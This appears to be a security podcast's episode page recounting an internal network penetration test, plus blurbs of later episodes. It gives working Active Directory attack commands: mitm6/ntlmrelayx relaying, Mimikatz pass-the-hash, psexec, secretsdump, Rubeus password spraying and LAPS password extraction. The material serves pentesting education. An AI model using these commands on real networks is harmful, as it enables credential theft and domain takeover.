7MS #455: Tales of Internal Network Pentest Pwnage - Part 24

7MS #455: Tales of Internal Network Pentest Pwnage - Part 24

Hey everybody! Sorry that we're late again with today's episode, but I got COVID shot #2 and it kicked my behind BIG TIME today. But I'm vertical today and back amongst the living and thrilled to be sharing with you another tale of pentest pwnage! Yeah! This might be my favorite tale yet because:

  • I got to use some of my new CRTP skills!

  • Make sure on your pentests that you're looking for "roastable" users. Harmj0y has a great article on this, but the TLDR is make sure you run PowerView with the -PreauthNotRequired flag to hunt for these users:

Get-DomainUser -PreauthNotRequired
  • Check for misconfigured LAPS installs with Get-LAPSPasswords!

  • The combination of mitm6.py -i eth0 -d company.local --no-ra --ignore-nofqdn +
    ntlmrelayx -t ldaps://domain.controller.ip.address -wh attacker-wpad --delegate-access is reeeeeealllllyyyyyyy awesome and effective!

  • When you are doing the --delegate-access trick, don't ignore (like I did for years) if you get administrative impersonation access on a regular workstation. You can still abuse it by impersonating an admin, run secretsdump or pilfer the machine for additional goodies!

  • SharpShares is a cool way to find shares your account has access to.

  • I didn't get to use it on this engagement but Chisel looks to be a rad way to tunnel information

  • Once you've dumped all the domain hashes with secretsdump, don't forget (like me) that you can do some nice Mimikatz'ing to leverage those hashes! For example:

sekurlsa::pth /user:administrator /ntlm:hash-of-the-administrator-user /domain:yourdomain.com

Do that and bam! a new command prompt opens with administrator privileges! Keep in mind though, if you do a whoami you will still be SOMEWORKSTATION\joeblo, but you can do something like psexec \\VICTIM-SERVER cmd.exe and then do a whoami and then POW! - you're running as domain admin!

  • Once you've got domain admin access, why not run Get-LAPSPasswords again to get all the local admin passwords across the whole enterprise? Or you can do get-netcomputer VICTIM-SERVER and look for the mc-mcs-admpwd value - which is the LAPS password! Whooee!!! That's fun!

  • Armed with all the local admin passwords, I was able to run net use Q: \\VICTIM-SERVER\C$" /user:Adminisrator LAPS-PASSWORD to hook a network drive to that share. You can also do net view \\VICTIM-SERVER\ to see all the shares you can hook to. And that gave me all the info I needed to find the company's crowned jewels :-)

Avsnitt(684)

7MS #516: Tips to Travel More Securely

7MS #516: Tips to Travel More Securely

In today's episode I talk about a cool self-defense class I took a while ago which was all about less lethal methods of protecting/defending yourself. I also talk about some safer ways to handle/hide cash while traveling on vacation.

14 Apr 202245min

7MS #515: Securing Your Family During and After a Disaster - Part 5

7MS #515: Securing Your Family During and After a Disaster - Part 5

Today we continue the series we started a few years ago called Security Your Family During and After a Disaster (the last part in this series was from a few years ago. In today's episode we focus on some additional things you should be thinking about to strengthen the "in case of emergency" document you share with your close friends and family.

6 Apr 202235min

7MS #514: Tales of Pentest Pwnage - Part 34

7MS #514: Tales of Pentest Pwnage - Part 34

Welcome to another fun tale of pentest pwnage! This one isn't a telling of one single pentest, but a collection of helpful tips and tricks I've been using on a bunch of different tests lately. These tips include: I'm seeing nmap scans get flagged a bit more from managed SOC services. Maybe a "quieter" nmap scan will help get enough ports to do a WitnessMe run, but still fly under the logging/alerting radar? Something like: nmap -p80,443,8000,8080 subnet.i.wanna.scan/24 -oA outputfile Using mitm6 in "sniper" mode by targeting just one host with: mitm6 victim-I-want-to-get-juicy-info-from -d victim.domain --ignore-nofqnd Using secretsdump to target a single host: secretsdump.py -target-ip 1.2.3.4 localadmin:@1.2.3.4 -hashes THIS-IS-WHERE-THE:SAM-HASHES-GO. Note the colon after localadmin - it's intentional, NOT an error! Rubeus makes password spraying easy-peasy! Rubeus.exe spray /password:Winter2022 /outfile:output.txt. Get some hits from that effort? Then spray the good password against ALL domain accounts and you might get even more gold! LDAPs relaying not working? Make sure it's config'd right: nmap -p636 -sV -iL txt-file-with-dcs-in-it

30 Mars 202250min

7MS #513: Interview with Christopher Fielder and Jon Crotty of Arctic Wolf

7MS #513: Interview with Christopher Fielder and Jon Crotty of Arctic Wolf

Today we're joined by our friends Christopher Fielder and Jon Crotty from Arctic Wolf to talk about their interesting report on The State of Cybersecurity: 2022 Trends (note: you can get some of the report's key points here without needing to provide an email address). The three of us dig in to talk about some of the report's specific highlights, including: Many orgs are running the bare minimum (or nothing!) for endpoint protection Cyber insurance costs are going up, and some customers are unable to afford it - or they're getting dropped by their carrier altogether Security is still not getting a seat at the decision-making table in a lot of orgs, and already-overburned IT teams taking on security as part of their job descriptions as well Seems like everybody and their mom is moving infrastructure to the cloud, but few are managing that attack surface, thus increasing risk The cyber skills gap remains a challenge - many security gurus are looking to get out of their current position, leading many orgs to hire inexperienced teams who make rushed/misinformed decisions about security tools and services, thus making the org less secure P.S. this is Christopher's fifth time on the program. Be sure to check out his first, second, third and fourth interviews with 7MS.

23 Mars 202255min

7MS #512: First Impressions of InsightIDR

7MS #512: First Impressions of InsightIDR

Today I'm sharing some first impressions of the Rapid 7 InsightIDR as kind of a teaser for an eventual new chapter in our Desperately Seeking a Super SIEM for SMBs series. Disclaimer: remember these are first impressions. There may be some missed detections I talk about today that are a me problem and not the technology. I hope to get to the root of those unresolved issues by the time I talk more formally about InsightIDR in a future episode. Enjoy!

17 Mars 202251min

7MS #511: How to Succeed in Business Without Really Crying - Part 10

7MS #511: How to Succeed in Business Without Really Crying - Part 10

Today we're continuing our series focused on [owning a security consultancy], talking specifically about: How not to give up on warm sales leads, even if they haven't panned out for 5+ years! Some cool Mac tools that help me manage 7MS - such as Craft and OmniFocus A sneak peek at a SIEM vendor that will soon be featured in an episode of Desperately Seeking a Super SIEM for SMBs

11 Mars 202236min

7MS #510: First Impressions of Tailscale

7MS #510: First Impressions of Tailscale

Today we share some first impressions of Tailscale, a service that advertises itself as "Zero config VPN. Installs on any device in minutes, manages firewall rules for you, and works from anywhere." Is it really that cool and easy? Listen to today's episode to find out!

2 Mars 202242min

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

Today we revisit our phishing series with a few important updates that help us run our campaigns more smoothly, such as creating a simple but effective fake O365 portal, and being aware that some email systems may "pre-click" malicious links before users ever actually do.

23 Feb 202234min

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